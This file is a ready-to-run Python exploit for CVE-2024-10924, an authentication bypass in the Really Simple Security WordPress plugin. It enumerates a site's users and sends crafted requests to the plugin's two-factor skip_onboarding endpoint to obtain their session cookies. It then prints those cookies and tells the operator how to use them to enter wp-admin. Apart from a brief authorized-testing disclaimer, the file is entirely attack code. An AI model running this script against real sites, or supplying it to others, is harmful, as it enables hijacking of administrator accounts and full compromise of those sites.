wp_cookie-exploit.py

#!/usr/bin/env python3
"""
CVE-2024-10924 Exploiter
Really Simple Security Plugin — Authentication Bypass
For authorized testing only.
"""

import sys, json, urllib.request, urllib.error

R="\033[91m"; G="\033[92m"; Y="\033[93m"; C="\033[96m"
B="\033[1m"; D="\033[2m"; RESET="\033[0m"

BANNER = f"""
{C}{B}
__    __  ____          ____  __ __   ___   _____ ______ 
|  |__|  ||    \        /    ||  |  | /   \ / ___/|      |
|  |  |  ||  o  )_____ |   __||  |  ||     (   \_ |      |
|  |  |  ||   _/|     ||  |  ||  _  ||  O  |\__  ||_|  |_|
|  `  '  ||  |  |_____||  |_ ||  |  ||     |/  \ |  |  |  
 \      / |  |         |     ||  |  ||     |\    |  |  |  
  \_/\_/  |__|         |___,_||__|__| \___/  \___|  |__| 
{RESET}
{D}  For authorized penetration testing only.{RESET}
"""

def req(url, data=None, timeout=10):
    headers = {"Content-Type":"application/json","User-Agent":"Mozilla/5.0"}
    body = json.dumps(data).encode() if data else None
    r = urllib.request.Request(url, data=body, headers=headers, method="POST" if body else "GET")
    try:
        with urllib.request.urlopen(r, timeout=timeout) as resp:
            cookies = {}
            for h in (resp.headers.get_all("Set-Cookie") or []):
                p = h.split(";")[0].strip()
                if "=" in p:
                    k,v = p.split("=",1)
                    cookies[k.strip()] = v.strip()
            return resp.status, resp.read().decode(errors="ignore"), cookies
    except urllib.error.HTTPError as e:
        return e.code, e.read().decode(errors="ignore"), {}
    except Exception as e:
        return None, str(e), {}

def step(msg): print(f"\n  {C}[*]{RESET} {msg}")
def ok(msg):   print(f"  {G}[✓]{RESET} {msg}")
def fail(msg): print(f"  {R}[✗]{RESET} {msg}")
def info(msg): print(f"  {D}    {msg}{RESET}")

def get_rest(base):
    for path, rb in [("/wp-json/", base+"/wp-json"),
                     ("/?rest_route=/", base+"/index.php?rest_route=")]:
        s,b,_ = req(base+path)
        if s==200 and "namespaces" in b:
            return rb
    return None

def get_users(rest):
    url = rest+"/wp/v2/users"
    s,b,_ = req(url)
    users = []
    if s==200:
        try:
            for u in json.loads(b):
                users.append({"id":u.get("id"),"name":u.get("name",""),"slug":u.get("slug","")})
        except: pass
    if not users:
        for uid in range(1, 6):
            s,b,_ = req(url+f"/{uid}")
            if s==200:
                try:
                    u=json.loads(b)
                    users.append({"id":uid,"name":u.get("name",""),"slug":u.get("slug","")})
                except: pass
    return users

def exploit_user(rest, user_id):
    url = rest + "/reallysimplessl/v1/two_fa/skip_onboarding"
    payload = {"user_id": user_id, "login_nonce": "1", "redirect_to": "/wp-admin/"}
    s,b,cookies = req(url, data=payload)
    if s==200 and "redirect_to" in b and cookies:
        return cookies
    return None


def run(target):
    if not target.startswith("http"):
        target = "http://" + target
    target = target.rstrip("/")

    print(BANNER)
    print(f"  {B}Target :{RESET} {target}")
    print(f"  {'─'*53}")

    # Step 1: REST API
    step("Detecting REST API...")
    rest = get_rest(target)
    if not rest:
        fail("REST API unreachable — aborting."); sys.exit(1)
    ok(f"REST API → {rest}")

    # Step 2: Plugin check
    step("Checking for Really Simple Security plugin...")
    url = rest+"/" if "rest_route=" in rest else rest+"/"
    s,b,_ = req(url)
    if s==200 and "reallysimple" in b.lower():
        ok("Plugin detected — target may be vulnerable!")
    else:
        fail("Plugin NOT detected — target likely not vulnerable."); sys.exit(1)

    # Step 3: User enumeration
    step("Enumerating WordPress users...")
    users = get_users(rest)
    if not users:
        users = [{"id":1,"name":"admin","slug":"admin"}]
        info("No users via API, defaulting to admin (ID:1)")
    for u in users:
        ok(f"User found → {B}{u['name']}{RESET}  (ID: {u['id']})")

    # Step 4: Exploit
    print(f"\n  {'─'*53}")
    print(f"  {R}{B}  LAUNCHING EXPLOIT — CVE-2024-10924{RESET}")
    print(f"  {'─'*53}")

    pwned = []
    for u in users:
        step(f"Targeting → {u['name']} (ID: {u['id']})")
        cookies = exploit_user(rest, u["id"])
        if cookies:
            ok(f"{R}{B}BYPASS SUCCESSFUL!{RESET}")
            info(f"User   : {B}{u['name']}{RESET}")
            info(f"ID     : {B}{u['id']}{RESET}")
            for k,v in cookies.items():
                info(f"Cookie : {G}{k}{RESET} = {v[:80]}...")
            pwned.append({"id":u["id"],"name":u["name"],"cookies":cookies})
        else:
            fail(f"Bypass failed for {u['name']}")

    # Result summary
    print(f"\n  {'═'*53}")
    if pwned:
        print(f"  {R}{B}  ✓ EXPLOITED — {len(pwned)} account(s) compromised{RESET}")
        for p in pwned:
            print(f"\n  {R}  User   : {p['name']}{RESET}")
            print(f"  {R}  ID     : {p['id']}{RESET}")
            for k,v in p["cookies"].items():
                print(f"  {D}  Cookie : {k}{RESET}")
                print(f"  {G}           {v}{RESET}")
        print(f"\n  {Y}  Paste cookies into browser → DevTools → Application → Cookies{RESET}")
        print(f"  {Y}  Then navigate to {target}/wp-admin/{RESET}")
    else:
        print(f"  {G}{B}  NOT VULNERABLE — No bypass achieved{RESET}")
    print(f"  {'═'*53}\n")


if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"\n  Usage:   python3 wp_cookie-exploit.py <target_url>")
        print(f"  Example: python3 wp_cookie-exploit.py http://vulnerable.thm:8080\n")
        sys.exit(1)
    run(sys.argv[1])